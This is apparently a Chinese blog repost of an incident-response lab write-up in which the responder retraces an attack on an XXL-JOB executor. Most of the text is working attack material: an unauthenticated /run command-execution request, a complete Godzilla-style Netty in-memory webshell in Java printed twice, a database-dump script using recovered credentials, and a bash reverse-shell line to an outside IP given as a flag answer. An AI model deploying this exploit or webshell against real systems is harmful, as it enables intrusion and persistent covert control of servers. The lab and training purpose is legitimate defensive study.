应急响应-vulntarget-k-01

admin 2024年8月13日11:17:43评论43 views字数 17654阅读58分50秒阅读模式

题目描述:

应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查!

根据题目环境简单分析,此道题目是一个中型环境,由于题目本身只是针对于 XXL-job 第一步环境,所以后续目标的渗透无需完成,题目设置思路为应急人员重走攻击路径,还原攻击路径,适用于快速确定受害主机漏洞情况,与常规上机排查不一样,更有意思一点

1.常规外网打点操作

nmap 扫描端口,确认此主机目前开放 ip 的情况,发现仅有 8081,9999 开放,通过端口,熟悉打点的就可以快速知道这个漏洞情况,应存在 XXL-job 的漏洞

└─# nmap -v -sS -Pn -p- 43.192.8.125PORT      STATE    SERVICE22/tcp    open     ssh80/tcp    filtered http135/tcp   filtered msrpc136/tcp   filtered profile137/tcp   filtered netbios-ns138/tcp   filtered netbios-dgm139/tcp   filtered netbios-ssn443/tcp   filtered https445/tcp   filtered microsoft-ds593/tcp   filtered http-rpc-epmap2222/tcp  open     EtherNetIP-14444/tcp  filtered krb5248080/tcp  filtered http-proxy8081/tcp  open     blackice-icecap8878/tcp  open     unknown9999/tcp  open     abyss60001/tcp filtered unknownRead data files from: /usr/bin/../share/nmapNmap done: 1 IP address (1 host up) scanned in 41.86 seconds           Raw packets sent: 65933 (2.901MB) | Rcvd: 65864 (2.635MB)

这里我们使用漏洞扫描,快速探测一下,发现 9999 端口为 XXL-job 执行器

应急响应-vulntarget-k-01

直接访问 9999 端口和 8081 端口,页面如下,通过页面响应特征应为 XXL-JOB executor 未授权访问漏洞

应急响应-vulntarget-k-01

应急响应-vulntarget-k-01

洞原理:

XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。executor 默认没有配置认证,未授权的攻击者可以通过 RESTful API 执行任意命令

漏洞影响版本:

XXL-JOB <= 2.2.0

利用 EXP 如下:

POST /run HTTP/1.1Host: IPAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 365{  "jobId": 1,  "executorHandler": "demoJobHandler",  "executorParams": "demoJobHandler",  "executorBlockStrategy": "COVER_EARLY",  "executorTimeout": 0,  "logId": 1,  "logDateTime": 1586629003729,  "glueType": "GLUE_SHELL",  "glueSource": "touch /tmp/El1aOk",  "glueUpdatetime": 1586699003758,  "broadcastIndex": 0,  "broadcastTotal": 0}

若存在此漏洞,常规思路在目标主机的 tmp 下就会创建 El1aOk 这个文件,然后我们直接通过反弹 shell,拿到目标主机权限,实现命令执行

题目一:

黑客是通过哪个端口渗透进服务器的

因为题目本身思路应为通过未授权接口反弹 shell 出去,所以没记错的话端口应为 9999

环境所遇问题:

在此次应急靶机中,涉及到了不出网和 8080 端口关闭,一般 8080 端口开启的话,可以通过控制台进入,然后通过弱口令登录后,进行计划任务 GETshell,利用执行日志等文件看到执行结果,所以控制台思路不能利用,出网的几个漏洞利用都不行

思路:通过利用 executor 未授权访问漏洞, "glueType": "GLUE_GROOVY",既然可以利用 java,就直接写入马子,进行连接即可

这里贴出接口信息,可从 jar 包中获得接口利用信息,我们直接利用 GLUE_GROOVY 即可打入内存马

接口信息:GLUE_GROOVY("GLUE(Java)", false, null, null),GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),GLUE_PHP("GLUE(PHP)", true, "php", ".php"),GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

内存马:

Executor 采用了 Netty 框架实现了 RESTful API,这里采用 BMTH 作者所写的内存马,具体内存马构造思路,可以前往其博客研究,这里不再过多赘述

贴出博客地址:

http://www.bmth666.cn完整哥斯拉(使用于2.2.0版本):package com.xxl.job.service.handler;import com.xxl.job.core.biz.impl.ExecutorBizImpl;import com.xxl.job.core.server.EmbedServer;import io.netty.buffer.ByteBuf;import io.netty.buffer.Unpooled;import io.netty.channel.*;import io.netty.channel.socket.SocketChannel;import io.netty.handler.codec.http.*;import io.netty.handler.timeout.IdleStateHandler;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.util.AbstractMap;import java.util.HashSet;import java.util.concurrent.*;import com.xxl.job.core.log.XxlJobLogger;import com.xxl.job.core.biz.model.ReturnT;import com.xxl.job.core.handler.IJobHandler;public class DemoGlueJobHandler extends IJobHandler {    public static class NettyThreadHandler extends ChannelDuplexHandler{        String xc = "3c6e0b8a9c15224a";        String pass = "pass";        String md5 = md5(pass + xc);        String result = "";        private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();        private  static Class payload;        private static Class defClass(byte[] classbytes)throws Exception{            URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);            method.setAccessible(true);            return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);        }        public byte[] x(byte[] s, boolean m) {            try {                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));                return c.doFinal(s);            } catch(Exception e) {                return null;            }        }        public static String md5(String s) {            String ret = null;            try {                java.security.MessageDigest m;                m = java.security.MessageDigest.getInstance("MD5");                m.update(s.getBytes(), 0, s.length());                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();            } catch(Exception e) {}            return ret;        }        @Override        public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {            if(((HttpRequest)msg).uri().contains("netty_memshell")) {                if (msg instanceof HttpRequest){                    HttpRequest httpRequest = (HttpRequest) msg;                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());                    requestThreadLocal.set(simpleEntry);                }                if(msg instanceof HttpContent){                    HttpContent httpContent = (HttpContent)msg;                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();                    if (simpleEntry == null){                        return;                    }                    HttpRequest httpRequest = simpleEntry.getKey();                    ByteArrayOutputStream contentBuf = simpleEntry.getValue();                    ByteBuf byteBuf = httpContent.content();                    int size = byteBuf.capacity();                    byte[] requestContent = new byte[size];                    byteBuf.getBytes(0,requestContent,0,requestContent.length);                    contentBuf.write(requestContent);                    if (httpContent instanceof LastHttpContent){                        try {                            byte[] data =  x(contentBuf.toByteArray(), false);                            if (payload == null) {                                payload = defClass(data);                                send(ctx,x(new byte[0], true),HttpResponseStatus.OK);                            } else {                                Object f = payload.newInstance();                                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();                                f.equals(arrOut);                                f.equals(data);                                f.toString();                                send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);                            }                        } catch(Exception e) {                            ctx.fireChannelRead(httpRequest);                        }                    }else {                        ctx.fireChannelRead(msg);                    }                }            } else {                ctx.fireChannelRead(msg);            }        }        private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {            FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));            response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");            ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);        }    }    public ReturnT<String> execute(String param) throws Exception{        try{            ThreadGroup group = Thread.currentThread().getThreadGroup();            Field threads = group.getClass().getDeclaredField("threads");            threads.setAccessible(true);            Thread[] allThreads = (Thread[]) threads.get(group);            for (Thread thread : allThreads) {                if (thread != null && thread.getName().contains("nioEventLoopGroup")) {                    try {                        Object target;                        try {                            target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");                        } catch (Exception e) {                            continue;                        }                        if (target.getClass().getName().endsWith("NioEventLoop")) {                            XxlJobLogger.log("NioEventLoop find");                            HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");                            if (!set.isEmpty()) {                                Object keys = set.toArray()[0];                                Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");                                Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");                                setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {                                    @Override                                    public void initChannel(SocketChannel channel) throws Exception {                                        channel.pipeline()                                            .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idle                                            .addLast(new HttpServerCodec())                                            .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULL                                            .addLast(new NettyThreadHandler())                                            .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(                                                0,                                                200,                                                60L,                                                TimeUnit.SECONDS,                                                new LinkedBlockingQueue<Runnable>(2000),                                                new ThreadFactory() {                                                    @Override                                                    public Thread newThread(Runnable r) {                                                        return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());                                                    }                                                },                                                new RejectedExecutionHandler() {                                                    @Override                                                    public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {                                                        throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");                                                    }                                                })));                                    }                                });                                XxlJobLogger.log("success!");                                break;                            }                        }                    } catch (Exception e){                        XxlJobLogger.log(e.toString());                    }                }            }        }catch (Exception e){            XxlJobLogger.log(e.toString());        }        return ReturnT.SUCCESS;    }    public Field getField(final Class<?> clazz, final String fieldName) {        Field field = null;        try {            field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);        } catch (NoSuchFieldException ex) {            if (clazz.getSuperclass() != null){                field = getField(clazz.getSuperclass(), fieldName);            }        }        return field;    }    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        return field.get(obj);    }    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        field.set(obj, value);    }}

利用 EXP:

 "glueSource":"package com.xxl.job.service.handler;nnimport com.xxl.job.core.biz.impl.ExecutorBizImpl;nimport com.xxl.job.core.server.EmbedServer;nimport io.netty.buffer.ByteBuf;nimport io.netty.buffer.Unpooled;nimport io.netty.channel.*;nimport io.netty.channel.socket.SocketChannel;nimport io.netty.handler.codec.http.*;nimport io.netty.handler.timeout.IdleStateHandler;nimport java.io.ByteArrayOutputStream;nimport java.lang.reflect.Field;nimport java.lang.reflect.Method;nimport java.net.URL;nimport java.net.URLClassLoader;nimport java.util.AbstractMap;nimport java.util.HashSet;nimport java.util.concurrent.*;nnimport com.xxl.job.core.log.XxlJobLogger;nimport com.xxl.job.core.biz.model.ReturnT;nimport com.xxl.job.core.handler.IJobHandler;nnpublic class DemoGlueJobHandler extends IJobHandler {n    public static class NettyThreadHandler extends ChannelDuplexHandler{n        String xc = "3c6e0b8a9c15224a";n        String pass = "pass";n        String md5 = md5(pass + xc);n        String result = "";n        private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();n        private  static Class payload;nn        private static Class defClass(byte[] classbytes)throws Exception{n            URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());n            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);n            method.setAccessible(true);n            return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);n        }nn        public byte[] x(byte[] s, boolean m) {n            try {n                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");n                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));n                return c.doFinal(s);n            } catch(Exception e) {n                return null;n            }n        }n        public static String md5(String s) {n            String ret = null;n            try {n                java.security.MessageDigest m;n                m = java.security.MessageDigest.getInstance("MD5");n                m.update(s.getBytes(), 0, s.length());n                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();n            } catch(Exception e) {}n            return ret;n        }nn        @Overriden        public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {n            if(((HttpRequest)msg).uri().contains("netty_memshell")) {n                if (msg instanceof HttpRequest){n                    HttpRequest httpRequest = (HttpRequest) msg;n                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());n                    requestThreadLocal.set(simpleEntry);n                }n                if(msg instanceof HttpContent){n                    HttpContent httpContent = (HttpContent)msg;n                    AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();n                    if (simpleEntry == null){n                        return;n                    }n                    HttpRequest httpRequest = simpleEntry.getKey();n                    ByteArrayOutputStream contentBuf = simpleEntry.getValue();nn                    ByteBuf byteBuf = httpContent.content();n                    int size = byteBuf.capacity();n                    byte[] requestContent = new byte[size];n                    byteBuf.getBytes(0,requestContent,0,requestContent.length);nn                    contentBuf.write(requestContent);nn                    if (httpContent instanceof LastHttpContent){n                        try {n                            byte[] data =  x(contentBuf.toByteArray(), false);nn                            if (payload == null) {n                                payload = defClass(data);n                                send(ctx,x(new byte[0], true),HttpResponseStatus.OK);n                            } else {n                                Object f = payload.newInstance();n                                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();n                                f.equals(arrOut);n                                f.equals(data);n                                f.toString();n                                send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);n                            }n                        } catch(Exception e) {n                            ctx.fireChannelRead(httpRequest);n                        }n                    }else {n                        ctx.fireChannelRead(msg);n                    }n                }n            } else {n                ctx.fireChannelRead(msg);n            }n        }nn        private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {n            FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));n            response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");n            ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);n        }n    }nn    public ReturnT<String> execute(String param) throws Exception{n        try{n            ThreadGroup group = Thread.currentThread().getThreadGroup();n            Field threads = group.getClass().getDeclaredField("threads");n            threads.setAccessible(true);n            Thread[] allThreads = (Thread[]) threads.get(group);n            for (Thread thread : allThreads) {n                if (thread != null && thread.getName().contains("nioEventLoopGroup")) {n                    try {n                        Object target;nn                        try {n                            target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");n                        } catch (Exception e) {n                            continue;n                        }nn                        if (target.getClass().getName().endsWith("NioEventLoop")) {n                            XxlJobLogger.log("NioEventLoop find");n                            HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");n                            if (!set.isEmpty()) {n                                Object keys = set.toArray()[0];n                                Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");n                                Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");n                                setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {n                                    @Overriden                                    public void initChannel(SocketChannel channel) throws Exception {n                                        channel.pipeline()n                                            .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idlen                                            .addLast(new HttpServerCodec())n                                            .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULLn                                            .addLast(new NettyThreadHandler())n                                            .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(n                                                0,n                                                200,n                                                60L,n                                                TimeUnit.SECONDS,n                                                new LinkedBlockingQueue<Runnable>(2000),n                                                new ThreadFactory() {n                                                    @Overriden                                                    public Thread newThread(Runnable r) {n                                                        return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());n                                                    }n                                                },n                                                new RejectedExecutionHandler() {n                                                    @Overriden                                                    public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {n                                                        throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");n                                                    }n                                                })));n                                    }n                                });n                                XxlJobLogger.log("success!");n                                break;n                            }n                        }n                    } catch (Exception e){n                        XxlJobLogger.log(e.toString());n                    }n                }n            }n        }catch (Exception e){n            XxlJobLogger.log(e.toString());n        }n        return ReturnT.SUCCESS;n    }nn    public Field getField(final Class<?> clazz, final String fieldName) {n        Field field = null;n        try {n            field = clazz.getDeclaredField(fieldName);n            field.setAccessible(true);n        } catch (NoSuchFieldException ex) {n            if (clazz.getSuperclass() != null){n                field = getField(clazz.getSuperclass(), fieldName);n            }n        }n        return field;n    }nn    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {n        final Field field = getField(obj.getClass(), fieldName);n        return field.get(obj);n    }nn    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {n        final Field field = getField(obj.getClass(), fieldName);n        field.set(obj, value);n    }n}"

题目应急步骤:

1.BP 进行传参

应急响应-vulntarget-k-01

2.连接我们植入的内存马

应急响应-vulntarget-k-01

3.对于应急而言,我们当拿到权限后,需要快速定位攻击者操作行为,通过题目问题,应为攻击者利用后台进入页面,然后实现添加用户名再次反弹 shell,因为整个攻击操作均在平台完成,所以我们直接拿到数据库即可,还原出所有操作,此处在电子取证中也是首要采取的一个步骤,为固定数据库操作

4.通过哥斯拉导出我们的 jar 包,反编译拿到我们所需要的数据库账号和密码

应急响应-vulntarget-k-01

spring.datasource.username=rootspring.datasource.password=root_pwd数据库账号和密码

5.我们不再进行通过马子连接数据库寻找攻击路径,而是直接打包数据库,快速分析,贴出打包的执行文件

#!/bin/bash  # MySQL用户名和密码  username="root"  password="root_pwd"  databases=$(mysql -u $username -p$password -e "show databases;" -s --skip-column-names)for db in $databases; do      if [[ "$db" != "information_schema" && "$db" != "mysql" && "$db" != "performance_schema" && "$db" != "sys" ]]; then        mysqldump -u $username -p$password $db > $db.sql      fidone

应急响应-vulntarget-k-01

应急响应-vulntarget-k-01

能够看到文件管理已经存在此数据库,我们直接下载出来,查看即可,由于 xxl-job 攻击通常为反弹 shell 命令和 admin 用户创建,我们直接检索 admin,便可拿到答案.

题目二:

黑客添加的网站后门用户名和密码分别为多少,讲黑客添加的用户名和密码作为 flag 提交 (flag{admin:admin})

应急响应-vulntarget-k-01

创建的用户名和密码均在数据库中存在'admin1','7f0e6fe143efccf658c3b8d15fff6e2d',1,NULL);

应急响应-vulntarget-k-01

题目三:

黑客反弹 shell 的服务器 IP 和端口是多少,将黑客反弹 shell 的服务器 IP 和端口作为 FLAG 提交(flag{IP:Port})

应急响应-vulntarget-k-01

exec bash -i &>/dev/tcp/192.168.31.222/8888 <&1

以上便是此个应急靶场的思路以及答案获取,各位佬们速速复现吧,拿下它!

总结:

在应急过程中,蓝队结合红队思路,能够快速定位攻击者的具体利用方式和路径,重走一遍,方便固定具体证据,但影响也有,在于真实应急可能会破坏实际攻击路径,造成影响,所以一般还是要固定镜像,然后再进行漏洞利用以及应急响应。

公众号回复:k01,获取靶机下载地址。

作者:船山院士网络安全团队成员:El1aOk

应急响应-vulntarget-k-01

原文始发于微信公众号(船山信安):应急响应-vulntarget-k-01

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月13日11:17:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   应急响应-vulntarget-k-01https://cn-sec.com/archives/3062054.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息